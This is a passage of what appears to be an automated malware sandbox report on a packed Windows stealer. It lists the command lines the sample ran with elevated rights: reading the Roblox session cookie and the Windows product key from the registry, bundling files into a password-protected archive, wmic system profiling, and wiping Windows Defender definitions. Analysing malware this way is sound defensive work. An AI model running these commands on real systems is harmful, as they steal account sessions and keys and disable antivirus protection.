Show Windows behavior

Target ID:	56
Start time:	16:16:16
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Imagebase:	0x7ff7a8410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	16:16:17
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	16:16:17
Start date:	20/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	16:16:18
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
Imagebase:	0x7ff7a8410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	16:16:18
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	16:16:18
Start date:	20/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	16:16:21
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe a -r -hp"slw" "C:\Users\user\AppData\Local\Temp\ZEPXL.zip" *"
Imagebase:	0x7ff7a8410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	16:16:21
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	16:16:21
Start date:	20/07/2024
Path:	C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe a -r -hp"slw" "C:\Users\user\AppData\Local\Temp\ZEPXL.zip" *
Imagebase:	0x7ff629af0000
File size:	630'736 bytes
MD5 hash:	9C223575AE5B9544BC3D69AC6364F75E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	16:16:23
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic os get Caption"
Imagebase:	0x7ff7a8410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	16:16:23
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	16:16:23
Start date:	20/07/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic os get Caption
Imagebase:	0x7ff7db190000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	16:16:24
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
Imagebase:	0x7ff7a8410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	16:16:24
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	16:16:24
Start date:	20/07/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic computersystem get totalphysicalmemory
Imagebase:	0x7ff7db190000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	16:16:25
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff7a8410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	16:16:25
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	16:16:25
Start date:	20/07/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff7db190000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	16:16:26
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
Imagebase:	0x7ff7a8410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	78
Start time:	16:16:26
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	79
Start time:	16:16:26
Start date:	20/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	16:16:27
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Imagebase:	0x7ff7a8410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	16:16:27
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	82
Start time:	16:16:27
Start date:	20/07/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic path win32_VideoController get name
Imagebase:	0x7ff7db190000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	83
Start time:	16:16:28
Start date:	20/07/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
Imagebase:	0x7ff7a8410000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	84
Start time:	16:16:28
Start date:	20/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	85
Start time:	16:16:28
Start date:	20/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	86
Start time:	16:16:30
Start date:	20/07/2024
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Imagebase:	0x7ff7d3ef0000
File size:	468'120 bytes
MD5 hash:	B3676839B2EE96983F9ED735CD044159
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	19.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	20

Executed Functions

Function 00007FF6FB1E1000 Relevance: 40.6, APIs: 5, Strings: 18, Instructions: 338
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to convert DLL search path!, xrefs: 00007FF6FB1E38A3
Could not create temporary directory!, xrefs: 00007FF6FB1E3838
pyi-contents-directory, xrefs: 00007FF6FB1E35F8
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF6FB1E391A
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF6FB1E37EF
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF6FB1E36FC
Failed to start splash screen!, xrefs: 00007FF6FB1E3933
_MEIPASS2, xrefs: 00007FF6FB1E36A2, 00007FF6FB1E36AE, 00007FF6FB1E39AC
ERROR: failed to remove temporary directory: %s, xrefs: 00007FF6FB1E3A12
pyi-disable-windowed-traceback, xrefs: 00007FF6FB1E361D
MEI, xrefs: 00007FF6FB1E374E
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF6FB1E3820
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF6FB1E378C
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF6FB1E3653
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF6FB1E3905
bye-runtime-tmpdir, xrefs: 00007FF6FB1E35D3
pkg, xrefs: 00007FF6FB1E37CF
WARNING: failed to remove temporary directory: %s, xrefs: 00007FF6FB1E3A31

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: FileModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$ERROR: failed to remove temporary directory: %s$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$MEI$PYINSTALLER_STRICT_UNPACK_MODE$Path exceeds PYI_PATH_MAX limit.$WARNING: failed to remove temporary directory: %s$_MEIPASS2$bye-runtime-tmpdir$pkg$pyi-contents-directory$pyi-disable-windowed-traceback
API String ID: 514040917-1099759049
Opcode ID: c0b2594e386a0b9d0a179b47a069e5e77d49092aa87a245718b77c1e1c92fd5a
Instruction ID: 4351c9cd71c9236011f0d0ad4ca458a0147431b02101637dfaa68685ba63fe4e
Opcode Fuzzy Hash: c0b2594e386a0b9d0a179b47a069e5e77d49092aa87a245718b77c1e1c92fd5a
Instruction Fuzzy Hash: 37F14D61E0868391FB19EB21E5652FD6261AF5D788F844031DA6DC3AE6FF2CF568C340

Function 00007FF6FB205C74 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6FB2059A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB2059E9
Part of subcall function 00007FF6FB2059A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB205A67
Part of subcall function 00007FF6FB2059A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB205AB8

CreateFileW.KERNELBASE ref: 00007FF6FB205D7A
CreateFileW.KERNEL32 ref: 00007FF6FB205DCA
GetLastError.KERNEL32 ref: 00007FF6FB205DFA
GetFileType.KERNELBASE ref: 00007FF6FB205E0F
GetLastError.KERNEL32 ref: 00007FF6FB205E19
CloseHandle.KERNEL32 ref: 00007FF6FB205E4C
CloseHandle.KERNEL32 ref: 00007FF6FB205FAF
CreateFileW.KERNEL32 ref: 00007FF6FB205FE4
GetLastError.KERNEL32 ref: 00007FF6FB205FF3

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: a69f399e4b06a5e248c6b703f60b2f721b94672e004abf856287656fc91ee5b6
Instruction ID: e2f944a9e83ba7e30b59ec9f2f177da379f5a2a71d054c596229b18e502c4fc3
Opcode Fuzzy Hash: a69f399e4b06a5e248c6b703f60b2f721b94672e004abf856287656fc91ee5b6
Instruction Fuzzy Hash: 29C19E36B28A4686EB10CF69C5A06BC3761FB59B98B012225DE6ED77E4EF38D551C300

Function 00007FF6FB1E79B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,00007FF6FB1E7EF9,00007FF6FB1E39E6), ref: 00007FF6FB1E7A1B
RemoveDirectoryW.KERNEL32(?,00007FF6FB1E7EF9,00007FF6FB1E39E6), ref: 00007FF6FB1E7A9E
DeleteFileW.KERNELBASE(?,00007FF6FB1E7EF9,00007FF6FB1E39E6), ref: 00007FF6FB1E7ABD
FindNextFileW.KERNELBASE(?,00007FF6FB1E7EF9,00007FF6FB1E39E6), ref: 00007FF6FB1E7ACB
FindClose.KERNEL32(?,00007FF6FB1E7EF9,00007FF6FB1E39E6), ref: 00007FF6FB1E7ADC
RemoveDirectoryW.KERNELBASE(?,00007FF6FB1E7EF9,00007FF6FB1E39E6), ref: 00007FF6FB1E7AE5

Strings

%s\*, xrefs: 00007FF6FB1E79E2

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 37c75c647de740c4d03e434983ba542f23ef98c0d39288f6f50529afbb256bed
Instruction ID: 260a6123e6ccdfeceeadb3a5763812eba8f680ded8de13b99b7dd316981b334c
Opcode Fuzzy Hash: 37c75c647de740c4d03e434983ba542f23ef98c0d39288f6f50529afbb256bed
Instruction Fuzzy Hash: 35411021E0C54395FB30DB24E5585BD6361FB9C798F480632D57EC2AE4EF6CE64A8740

Function 00007FF6FB1E85A0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF6FB1E85D3
FindClose.KERNELBASE ref: 00007FF6FB1E85E2

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: ca66ee6ee850f25a53d0c9653a43f1313d0231bc46844eb151e3c2d0b1a3e355
Instruction ID: 51284713ea7a4f52c2f1898fb99e4ccaf49759f3994e392812a3888dd175179d
Opcode Fuzzy Hash: ca66ee6ee850f25a53d0c9653a43f1313d0231bc46844eb151e3c2d0b1a3e355
Instruction Fuzzy Hash: 72F04426A1964386F770CB60B59976A7360AB4C768F041235D97E82AE4EF7CE0598B04

Function 00007FF6FB1E18F0 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 172
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6FB1E76A0: _fread_nolock.LIBCMT ref: 00007FF6FB1E774A

_fread_nolock.LIBCMT ref: 00007FF6FB1E19B4

Part of subcall function 00007FF6FB1E2760: MessageBoxW.USER32 ref: 00007FF6FB1E283B

Strings

calloc, xrefs: 00007FF6FB1E19F5
malloc, xrefs: 00007FF6FB1E1AA8
Could not read full TOC!, xrefs: 00007FF6FB1E1AD4
Error on file., xrefs: 00007FF6FB1E1B0A
MEI, xrefs: 00007FF6FB1E1931
fread, xrefs: 00007FF6FB1E19C6, 00007FF6FB1E1ADB
fseek, xrefs: 00007FF6FB1E1990
Failed to seek to cookie position!, xrefs: 00007FF6FB1E1989
Could not allocate memory for archive structure!, xrefs: 00007FF6FB1E19EE
Failed to read cookie!, xrefs: 00007FF6FB1E19BF
Could not allocate buffer for TOC!, xrefs: 00007FF6FB1E1AA1

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: _fread_nolock$Message
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 677216364-3497178890
Opcode ID: 493bb61fc539ec1b122e5882e05326b97e853fd3b6a6c00663431bf0fa1fa3e3
Instruction ID: 8cd3dbe39fdeabba35f3012ba4dbe3923b299f09861fa7d16d38a881ef22a6a4
Opcode Fuzzy Hash: 493bb61fc539ec1b122e5882e05326b97e853fd3b6a6c00663431bf0fa1fa3e3
Instruction Fuzzy Hash: D4718F21E1868785FB20DB24E5542FD23A1EB8CB88F445035E9ADC7BE9FE6CF5548B40

Function 00007FF6FB1E15C0 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to open target file!, xrefs: 00007FF6FB1E1617
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF6FB1E1775
Failed to create symbolic link %s!, xrefs: 00007FF6FB1E15E2
fopen, xrefs: 00007FF6FB1E161E
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6FB1E168E
malloc, xrefs: 00007FF6FB1E16F6
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6FB1E1785
fread, xrefs: 00007FF6FB1E178C
fseek, xrefs: 00007FF6FB1E1695
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF6FB1E16EF
Failed to extract %s: failed to open archive file!, xrefs: 00007FF6FB1E165B
fwrite, xrefs: 00007FF6FB1E177C

Memory Dump Source

Source File: 00000000.00000002.1999072195.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000000.00000002.1999032845.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999121496.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999170508.00007FF6FB224000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1999251826.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Message
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2030045667-1550345328
Opcode ID: 5146ab100ef6ae8108d921daeb6090ca94fb08b852174b9af5e6d18222b17732
Instruction ID: f344059fb2ec416c9533b84e2c64572820f65bd2df5aa9520ed281a62e0ad389
Opcode Fuzzy Hash: 5146ab100ef6ae8108d921daeb6090ca94fb08b852174b9af5e6d18222b17732
Instruction Fuzzy Hash: EC515565E0864392EB20DB25A9605BD22A0BF4DB98F444131EE2EC7AF5FF6CF5648740

Function 00007FF6FB1E7FC0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 89
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6FB1E86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6FB1E3FA4,00000000,00007FF6FB1E1925), ref: 00007FF6FB1E86E9

SetConsoleCtrlHandler.KERNEL32(?,00007FF6FB1E39C0), ref: 00007FF6FB1E800A
GetStartupInfoW.KERNEL32(?,00007FF6FB1E39C0), ref: 00007FF6FB1E802B

Part of subcall function 00007FF6FB1F978C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F97A0

Part of subcall function 00007FF6FB1F7A2C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FB1F7A93

GetCommandLineW.KERNEL32(?,00007FF6FB1E39C0), ref: 00007FF6FB1E80CD
CreateProcessW.KERNELBASE ref: 00007FF6FB1E810F
WaitForSingleObject.KERNEL32(?,00007FF6FB1E39C0), ref: 00007FF6FB1E8123
GetExitCodeProcess.KERNELBASE ref: 00007FF6FB1E8133

Strings

Failed to create child process!, xrefs: 00007FF6FB1E813F
CreateProcessW, xrefs: 00007FF6FB1E8146

Memory Dump Source

